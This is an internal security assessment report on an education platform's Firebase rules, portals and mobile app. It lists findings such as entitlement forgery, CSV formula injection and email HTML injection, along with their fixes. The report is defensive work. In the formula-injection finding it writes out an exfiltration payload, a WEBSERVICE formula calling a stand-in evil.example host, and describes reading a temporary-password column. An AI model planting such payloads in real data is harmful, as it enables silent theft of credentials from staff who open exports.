



EV11

Vulnerability Assessment Report

Lumi Education Pty Ltd · ABN 45 700 349 015 · 24 July 2026

FINAL · 2026-07-24

Document: ST4S evidence **EV11** (Vulnerability Assessment). Feeds **EV10** (interim, pending the independent external penetration test). **Version:** 1.1 · **Date:** 24 July 2026 (v1.0 same day; **Addendum A** added later that day — see §11) **Assessment type:** Authorised, self-managed, source-code-assisted security assessment **Target:** Lumi Reading — Firebase/GCP application (`lumi-ninc-au` , `australia-southeast1`) **Prepared by:** Security Lead (Nic) with an AI orchestration (Opus 4.8 finders + Fable reviewer/verifier) **Classification:** Internal — no secrets, credentials, tokens, or personal information are reproduced in this report; findings reference code by file/location only. **Companions:** `SECURITY_ASSESSMENT_ORCHESTRATION_PLAN.md` (method) · `FINDINGS_REGISTER.md` (live register) · `ASSESSMENT_STATUS.md` (status board) · `PENTEST_DRYRUN_FINDINGS_2026-07-20.md` (prior in-house pass, deduped).

1. Executive summary

A structured, source-code-assisted assessment of the Lumi Reading platform was conducted 23–24 July 2026, covering the Firestore/Storage security rules, Cloud Functions, the `packages/server-ops` privileged core, both Next.js portals, the Flutter application, and the CI/CD posture. The assessment used a multi-agent orchestration (parallel Opus 4.8 analysts, each finding verified by a Fable reviewer) with all dynamic testing confined to the Firebase Emulator Suite on synthetic data; production was treated as read-only.

Overall posture is strong. Multi-tenant isolation is structurally sound (every authorization decision derives from a server-written membership document, never a client claim), both portals close the historically-known cookie-forgery / IDOR / self-provisioning classes, and Cloud Functions callables are consistently well-authorised.

Nine application/rules findings were identified (1 High-framed, several Medium, the rest Low/Info), plus a clean SAST baseline (1 low item) and a dependency (SCA) baseline. The single most material finding — **F-01**, a new create-vs-update rules asymmetry allowing a forged entitlement — was not present in the prior in-house pass; it was confirmed dynamically in the emulator and fixed.

Remediation is complete for every fixable finding. As of this report, F-01, F-02, F-03, A2/F-09, SAST-01, F-07 and F-04 are all fixed, regression-tested, merged, and **deployed to production**. Two findings are accepted-by-design (F-06, F-08), and one (F-05, App Check enforcement) is a launch-gated control tracked separately. Each rules fix is protected by a new emulator regression test wired into CI.

Addendum A (§11) — a roster-import upload feature shipped *after* this assessment closed and was reviewed separately the same day, adding **F-10** and **F-11** (both Medium, both stored-injection, both fixed and deployed). The v1.0 assessment above did not cover that code, because it did not exist at the time.

2. Scope

In scope (Lumi's own code and configuration):

- `firestore.rules`, `storage.rules` and their test suites.
- Cloud Functions (`functions/src/**`) — ~35 callables, 1 IAM-locked HTTP function, ~20 scheduled, ~27 event-triggered.
- `packages/server-ops/**` — the privileged operation modules.
- School portal (`school-admin-web/`) and super-admin portal (`admin/`) — Next.js SSR API routes, session/auth.
- Flutter application (`lib/**`) — MASVS/MASTG static review.
- CI/CD security tooling.

Out of scope (per the vendor register): Google/Firebase platform internals, SendGrid/Twilio, Apple/Google stores, Open Library / Google Books services — the assessment tests Lumi's *configuration and use* of these, never the vendors' own infrastructure.

Explicitly excluded: DoS/load/volumetric testing, password spraying, credential stuffing, phishing/social engineering, destructive exploits, data exfiltration, stealth/evasion, unbounded fuzzing, and any action against real child data or production tenants.

3. Methodology

- **Orchestration:** parallel Opus 4.8 analysts each mapped one surface (backend authz, rules, portals, vendor boundary, environment); a Fable reviewer de-duplicated against the closed known-issues list, reconciled cross-analyst conflicts, and adversarially verified every High/Critical against source before it was accepted.
- **Standards:** OWASP ASVS / WSTG, OWASP Top 10 (2025) + SANS CWE Top 25, MASVS/MASTG (mobile).
- **Dynamic testing:** Firebase Emulator Suite (`demo-lumi-*` throwaway projects), **synthetic data only**. Each confirmed finding was reproduced as a client-SDK proof-of-concept, then converted into a permanent regression test (`functions/test/security_poc.rules.test.js`).
- **Static tooling:** `semgrep` (SAST), `npm/pnpm audit` + `osv-scanner` config (SCA), `gitleaks` (secrets).
- **Production:** read-only. No exploitation. TLS/config scanning (S1/S3/S5) is deferred pending an explicit written scope exception.

4. Findings summary

Severity is Fable-reconciled (control-bypass framing vs. current blast radius). Status is as of 24 Jul 2026.

ID	Finding	Severity	ST4S	Status
F-01	Student <code>create</code> rule omitted the server-owned-field denylist → forgeable live <code>access</code> entitlement (self-provisionable)	High / Med	S4, A13	✅ Fixed + deployed
F-02	School <code>create</code> rule omitted the commercial-fields guard (subscription/access/accessMode/isDemo)	Medium	S4	✅ Fixed + deployed
F-03	Class <code>update</code> allowed a teacher to reassign ownership (teacherId/teacherIds)	Med-Low	S4	✅ Fixed + deployed

ID	Finding	Severity	ST4S	Status
F-04	<code>server-ops</code> destructive ops had no in-module authz (single-layer)	Med (def-in-depth)	A5, S4, A13	✅ Fixed + deployed
F-05	App Check enforcement OFF on all callables	Low-Med	A13, S7	🕒 Launch-gated (staged rollout)
F-06	Storage cover first-claim open to any authenticated user	Low	S4, PF51	① Accept-as-designed
F-07	<code>books/lookup</code> ISBN param injection + external-API cost amplification, no rate limit	Low	Q5	✅ Fixed + deployed
F-08	Portal CSRF relies on <code>SameSite=Lax</code> alone	Low	A13	① Accept-as-designed
F-09	Portal <code>createUser</code> password minimum 6 chars (part of A2)	Low	A2	✅ Fixed + deployed
SAST-01	Super-admin MFA-crypto GCM decrypt without pinned <code>authTagLength</code>	Low	Q5, EV13	✅ Fixed + deployed
SCA-01	9 transitive advisories (8 mod, 1 high) under <code>firebase-admin</code>	High/Mod	T2/T3/AP1	🕒 Tracked (no clean upstream fix)
A2	Passwords enforced at 6–8 chars (not the claimed 14+/complexity)	—	A2	✅ Fixed + deployed
M-01... M-08	Mobile AP2 items (Hive-at-rest, audio/widget at-rest, no pinning, etc.)	Low–Med	AP2	Mostly known/accepted (see §5.4)
F-10	Stored CSV/formula injection — 5 exports across both portals re-emitted stored names without neutralising formula prefixes (worst sink: staff credentials export, adjacent temp-password column)	Medium	Q5, PF51	✅ Fixed + deployed (§11)
F-11	Stored HTML injection — roster names spliced unescaped into parent/staff email HTML	Medium	Q5, PF51	✅ Fixed + deployed (§11)

5. Detailed findings

5.1 F-01 — Student-create entitlement forgery (S4/A13) — FIXED + DEPLOYED

Description. The student `create` rule (`firestore.rules`) required only role + `schoolId` match, omitting the server-owned-field denylist (`access`, `parentIds`, `autoAward`, `pendingDeletion`, `feelingsByDay`, `latestParentComment`) that the `update` rule enforced. The server trigger `grantAccessOnStudentCreate` bails when `access` is pre-seeded, so nothing reconciled a forged value. **Impact.** A schoolAdmin/teacher — including a self-provisioned admin (client school-create → admin bootstrap → student create) — could mint a student that is entitlement-live from creation, bypassing `studentAccessLive`, the rules' single licensing-enforcement point. A licensing/authorization-control bypass; blast radius currently limited (within-tenant; AI eval dark) but latent for any access-gated paid feature. **Not present in the prior in-house pass** (which tested

`update` but not `create`). **Remediation.** One shared field list now guards create and update; the trigger is unchanged. **Verification:** emulator PoC confirmed the pre-fix exploit and now confirms denial; full rules suite 172/172 green. **Fix commit** `0d31809`, **deployed** `firestore:rules`.

5.2 F-02 — School-create commercial-field seeding (S4) — FIXED + DEPLOYED

School `create` omitted the guard the `update` path enforced, letting a creator self-seed `subscription` / `access` / `accessMode` / `isDemo`. Fixed with a `schoolCommercialFieldsAbsentOnCreate()` guard; emulator regression test added. Deployed.

5.3 F-03 — Class-update ownership reassignment (S4) — FIXED + DEPLOYED

Class `update` authorised a teacher-of-class with no field restriction, allowing reassignment of `teacherId` / `teacherIds` (hand the class to an attacker uid, or self-removal). Fixed by a `classOwnershipUnchanged()` guard on the teacher branch (schoolAdmins retain reassignment). Emulator regression test added. Deployed.

5.4 F-04 — server-ops single-layer authorization (A5/S4/A13) — FIXED + DEPLOYED

The `packages/server-ops` destructive operations (offboard a school, delete parent accounts, grant dev-access, disable staff auth) carried no internal authorization — the only gate was the calling super-admin portal route's `verifySession()`. Not exploitable at assessment time (all routes gate), but single-layer. **Remediation:** a fail-closed `assertSuperAdmin(db, actor.uid)` — mirroring `admin/isSuperAdminViaFirestore` and `functions/isSuperAdmin` (`/superAdmins/{uid}` doc + `SUPER_ADMIN_UIDS` bootstrap env) — added to the five destructive super-admin-only ops. No behaviour change for legitimate callers. Unit test `authority.parity.test.ts`. **PR #561, auto-deployed via** `admin-deploy`.

5.5 F-05 — App Check enforcement OFF (A13/S7) — LAUNCH-GATED

Firebase App Check is unenforced on all callables (client attestation flags default off), enabling scripted abuse of low-auth callables (SMS toll-fraud, code enumeration, marketing spam). Enabling now would lock out clients because valid store-signed App Attest / Play Integrity evidence requires the app to be published. Tracked in `REMAINING_HARDENING_RUNBOOK.md` §6 as a staged rollout. **Not a code defect.**

5.6 F-06 — Storage cover first-claim (S4/PF51) — ACCEPT-AS-DESIGNED

Any authenticated non-demo user may first-claim an unclaimed community-book cover. Documented as an intended tradeoff (`storage.rules.test.js:373`): Storage rules cannot read Firestore for role, accounts are invite-only, covers are non-personal, and the enforced protections (`uploaderUid = caller`; no overwrite of another user's cover) stand. Optional uplift: callable-mediated upload with a server-side role check.

5.7 F-07 — books/lookup injection + amplification (Q5) — FIXED + DEPLOYED

The `books/lookup` route interpolated a caller-supplied ISBN into external Google Books / Open Library URLs after stripping only separators, and had no rate limit (query-parameter injection + external-API cost amplification for any authenticated staff member). **Remediation:** strict ISBN-10/13 validation (route zod regex + `isValidIsbn` guard) so only clean digits reach the external URLs, plus a 60/min per-user rate limit via the existing `consumeRateLimit`. Portal typecheck clean. Deployed (school portal).

5.8 F-08 — CSRF via SameSite=Lax (A13) — ACCEPT-AS-DESIGNED

State-changing portal routes rely on `SameSite=Lax` cookies (a same-origin `Origin` guard exists only on demo-allocation + auth-session routes). Cross-site exploitation is infeasible given Lax + Firebase PSL-

separated default domains; residual risk is a same-registrable-domain sibling on custom domains.

Recommendation: extend the existing `assertSameOrigin` guard to all mutation routes when convenient.

5.9 F-09 / A2 — Password strength (A2) — FIXED + DEPLOYED

Passwords were enforced at 6–8 characters depending on surface (portal `createUser` min-6; app signup 8 + upper/lower/digit; temp passwords 12 chars, no symbol) — the ST4S submission claimed 14+/complexity.

Remediation: a shared 14+/upper-lower-digit-symbol validator across the portal (API + modal) and the three app signup screens; all three temp-password generators produce 16-char/symbol passwords compliant *by construction* (the Admin-SDK paths bypass any policy); and the Firebase Console password policy was set to **Require / min 14 / all four classes** (evidence captured). A2 is now true across every surface. Deployed (portal + `processStaffOnboardingEmail`); app-side validators ship with the next app release; console policy is the server-side gate for client-SDK signups + hosted resets.

5.10 Mobile (AP2 / MASVS) findings

Static MASVS/MASTG review. Good posture: the one PII-bearing signup box is AES-256 encrypted with a Keychain/Keystore key; deep-link validation is strict (scheme/host/path allowlist, no query-param forwarding); no WebView; Analytics/Crashlytics off until adult opt-in; `allowBackup=false` + data-extraction rules exclude every domain from cloud-backup/device-transfer.

- **M-01** (Med, known): Hive offline caches (students/reading_logs/pending_sync) unencrypted at rest — local-access-only (rooted/forensic).
- **M-02** (Low-Med, new): comprehension audio written unencrypted pre-sync, then deleted.
- **M-03** (Low, new): iOS widget App-Group stores child `firstName` + streak as plaintext JSON.
- **M-04:** App Check backend enforcement off (= F-05).
- **M-05–M-08** (Low/Info): no cert pinning (acceptable with Firebase), no root/anti-tamper, Firebase API keys in bundle (not a secret), `debugPrint` in release (reviewed clean). An external MASTG tester should perform rooted-device at-rest inspection, backup-vector extraction, deep-link fuzzing, App Check replay, MITM-with-user-CA, and runtime/Frida checks.

6. Automated scanning baselines

- **SCA-01 (dependencies):** `npm audit` on `functions` reports 9 transitive advisories (8 moderate, 1 high) — all under `firebase-admin` (`@google-cloud/firestore` → `google-gax`; `@google-cloud/storage` → `teeny-request` → `uuid`). No clean upstream fix (`--force` breaks). Tracked; Dependabot + osv-scanner now watch it.
- **SAST:** `semgrep` (typescript/javascript/secrets/owasp-top-ten over functions/portals/server-ops) — **one** finding total (SAST-01, low, now fixed), no secrets flagged. A clean baseline consistent with the gitleaks-clean history.
- **Secrets:** `gitleaks` full-history — clean.
- **New CI controls (AP1/T1/T2/EV11):** Dependabot (npm/pub/actions), osv-scanner and semgrep workflows (monthly + on-demand; per-PR wiring pending ref verification), and this findings register.

7. Positive assurance

- **Multi-tenant isolation (S4):** dynamically proven — a school-A teacher cannot read school-B data directly nor via an unconstrained collection-group sweep (`security_poc.rules.test.js`, S4 test). No cross-tenant

path was found anywhere.

- **Deny-by-default (A13):** strong — implicit deny + explicit `allow read, write: if false` on ~20 server-only collections; no recursive wildcard.
- **Portal session/auth:** the historical cookie-forgery, reset-password IDOR, teacher self-provisioning and claims-clobber classes are all closed with visible fixes; sessions are revocation-aware and fail closed.

8. Residual & accepted risks / recommendations

Item	Disposition	Recommendation
F-05 App Check	Launch-gated	Enable (Require) once the app ships store-signed attestation
F-06 cover first-claim	Accepted	Optional: callable-mediated upload with role check
F-08 CSRF (SameSite)	Accepted	Extend <code>assertSameOrigin</code> to all mutation routes
SCA-01 firebase-admin transitives	Tracked	Bump <code>firebase-admin</code> when a patched release lands
M-01/M-02/M-03 at-rest	Known/new	Optional: encrypt Hive boxes + the audio staging dir with a Keychain/Keystore key
Wave 3 (TLS/config prod scan)	Not performed	Run under an explicit read-only scope exception (feeds S1/S3/S5)
External penetration test	Outstanding	Independent CREST/OSCP test for EV10 (scoping pack ready)
F-10/F-11 (Addendum A)	Fixed + deployed 24 Jul	Spot-check one class-report export and one onboarding email on the live deploys
Other CSV exports added later	Controlled	<code>scripts/check-csv-exports.sh</code> enforces it in CI + predeploy (§11.5) — no longer convention-only

9. ST4S mapping

Directly evidenced or advanced by this assessment: **S4, A13, A5** (tenant isolation, deny-by-default, privileged-access — validated + hardened, F-01–F-04); **A2** (passwords — now true); **Q5** (security testing performed to a framework); **AP1/T1/T2** (scanning cadence + Dependabot); **AP2** (mobile MASTG static review); **EV11** (this report); **EV10** (interim — external test outstanding). SAST-01 also feeds **EV13** (secure SDLC).

10. Remediation status

All fixable findings are remediated and deployed to production as of 24 Jul 2026: F-01, F-02, F-03 (`firestore:rules`), A2/F-09 (portal + functions + console policy), SAST-01 + F-04 (super-admin portal, `admin-deploy`), F-07 (school portal). Every rules fix carries an emulator regression test wired into CI. Remaining items are launch-gated (F-05), accepted-by-design (F-06, F-08), upstream-tracked (SCA-01), or require the outstanding independent external penetration test (EV10) and a scoped production TLS scan (Wave 3).

F-10 and F-11 (Addendum A) are fixed and **deployed to production on 24 Jul 2026** — functions (F-11), school portal and super-admin portal (F-10) — and F-10 now carries an automated preventive control (§11.5).

11. Addendum A — roster-import upload path (24 July 2026)

Why this is an addendum. The SIS/CSV roster-import feature (PR #579) merged *after* the v1.0 assessment closed, so §§1–10 do not cover it. It was reviewed on its own the same day, scoped to the question "can this upload be used to take advantage of the system" — the file-upload threat model behind **PF51**, with **Q5** framing (OWASP ASVS/WSTG).

Surface reviewed: the browser-side parse (CSV/TSV/`.xlsx`, paste), `lib/sis/` detection and row shaping, the three import API routes (`/api/students/import`, `/api/rollover/{preview,commit}`), and the Firestore write layer — **plus the downstream sinks where imported data is later re-emitted**, which is where both findings were.

11.1 F-10 — Stored CSV / formula injection (Medium) — FIXED

Imported names were stored verbatim, and **five** exports across both portals re-emitted them as spreadsheets. All applied RFC-4180 quote-escaping but **none neutralised the spreadsheet formula triggers** `=` `+` `-` `@` `TAB` `CR`.

The first three were found in the review; the last two were found by the guardrail added afterwards (§11.5) — which is the reason the guardrail exists.

Export	Portal	Data at risk
<code>class-report-tab.tsx</code>	School	Student names
<code>comprehension-eval-tab.tsx</code>	School	Student names, AI summaries
<code>bulk-import-staff-modal.tsx</code>	School	Staff names — adjacent column is a temporary password
<code>lib/utils/export.ts</code> → <code>toCsvString</code>	Super-admin	Backs the student export (<code>firstName</code> / <code>lastName</code> / <code>class</code> / <code>readingLevel</code>), the reading-log export and the allocations export — the same imported names
impersonation-audit export	Super-admin	Session metadata plus the free-text <code>reason</code> field

Attack path: an attacker-supplied SIS export imports a student or staff member named e.g. `=WEBSERVICE("https://evil.example/?p="&D2)` → stored → a staff member exports and opens the file in Excel → the formula evaluates in their session. Impact: silent exfiltration of the row's contents via `HYPERLINK` / `WEBSERVICE`, or command execution via DDE on legacy configurations. The **staff credentials export is the material case**: a formula placed in a *name* cell can read the temporary-password column out to an attacker-controlled URL.

Fix: neutralised at the sink — the trust boundary where stored data becomes a spreadsheet — so the control also covers hand-typed and app-sourced names, not only imported ones. `csvCell()` / `toCsv()` (`school-admin-web/src/lib/csv-export.ts`) and `csvCell()` / `toCsvString()` (`admin/src/lib/utils/export.ts`) prefix an apostrophe to formula-triggering cells before RFC-4180 quoting; numeric cells pass through untouched so genuine totals are not converted to text. Regression test `school-admin-web/scripts/csv-`

`export.test.ts` (8 cases) asserts the real `HYPERLINK` / `WEBSERVICE` /DDE payloads are neutralised and that ordinary names and numbers are unchanged.

Status: fixed in PR #581 (school portal) and PR #585 (super-admin portal); **deployed to production 24 Jul 2026** — school portal via `hosting:school`, super-admin portal via the `admin-deploy` workflow.

11.2 F-11 — Stored HTML injection into parent/staff email (Medium) — FIXED

`functions/src/email_templates.ts` interpolated `studentName`, `schoolName`, `staffName` and `loginEmail` directly into email HTML, while `escapeHtml()` existed in the same file and was already applied to the school note. A roster import could therefore plant markup that renders in a **parent-facing email delivered from the school's own trusted sender** — a phishing surface with the school's implicit endorsement.

Fix: escaped at the leaf render functions (`renderEntryCard`, `renderEmailShell`, `buildStaffOnboardingEmail`), matching the file's existing convention. Five regression tests assert markup in a name never survives into the HTML while the legitimate link code and temporary password still do.

Status: fixed in PR #581; **deployed to production 24 Jul 2026** (`firebase deploy --only functions`).

11.3 Lower-severity items (fixed in the same change)

- Input-validation parity:** `/api/students/import` and `/api/rollover/preview` accepted any string as `parentEmail` while only the commit route validated format — and that value is stored then used as an email recipient. All three now share one guard. (*No CRLF header-injection path exists: SendGrid takes the recipient as a JSON field, not a raw SMTP header.*)
- Field-length caps:** schemas capped row *count* but not field *length*, allowing ~1MB strings via a direct API call. Caps added across all three routes, plus an explicit no-slash/length constraint on client-supplied document ids.

11.4 Positive assurance for this surface

Verified during the review and requiring no change — recorded because negative results are evidence too:

- No IDOR / tenant escape.** Client-supplied document ids resolve only under `schools/{session.schoolId}/...`; the school id is server-derived and never taken from the payload. Every non-create action requires `snap.exists`, so an id belonging to another school simply does not resolve.
- Authorization fails closed.** All three routes require `schoolAdmin` plus `getSession({requireMutable:true})`, which rejects impersonation, read-only demo, and non-MFA sessions; commit additionally calls `assertNotImpersonating`.
- No prototype pollution.** Dynamic object keys derive only from a fixed field enum, so a `__proto__` column header is inert.
- No ReDoS.** All import-path regexes are anchored with no nested quantifiers (linear time).
- No XSS in the portal.** Parsed values render through auto-escaping JSX; no `dangerouslySetInnerHTML`; parser status messages interpolate only integers.
- Spreadsheet parsing is client-side**, so a zip-bomb/decompression attack cannot reach the server; the API receives only row-capped JSON. `read-excel-file` was selected over SheetJS specifically because npm's only `xlsx` release carries unfixed prototype-pollution and ReDoS advisories.

11.5 Preventive control — the F-10 guardrail (PR #585)

Fixing the known sinks does not stop the next export from reintroducing F-10: the encoding is a convention, and conventions decay. `scripts/check-csv-exports.sh` makes it enforced instead, modelled on the existing

`check-storage-rules.sh` (which exists because a compiler warning nobody read allowed the same regression twice).

Two checks: **(1)** every approved encoder must still neutralise formulas — otherwise "simplifying" the apostrophe prefix out of `csvCell` would leave every call site passing while silently regressing; **(2)** every file emitting a `text/csv` payload must use an approved encoder or carry a `csv-export-guardrail: <reason>` marker, so an exemption is a conscious, reviewable decision rather than an omission.

It runs at both gates — `demo-readiness` CI on every PR touching the portals, and as a `firebase.json` predeploy on `hosting:admin` and `hosting:school`, so neither a PR nor a manual deploy can bypass it. Verified to fail in **both** directions before being relied on: with the neutralisation stripped from an encoder, and with a new unguarded export file present.

This control immediately proved its worth: on first run it surfaced the two super-admin sinks listed in §11.1, which the manual review had not reached.

ST4S mapping for this addendum: PF51 (file-upload handling reviewed to OWASP — note this does *not* change the outstanding AV-scanning position), **Q5** (security testing to a framework), **EV13** (secure SDLC — finding → fix → regression test → *automated preventive control*), **S4/A13** (isolation and deny-by-default re-validated on a new surface).

— *End of report* —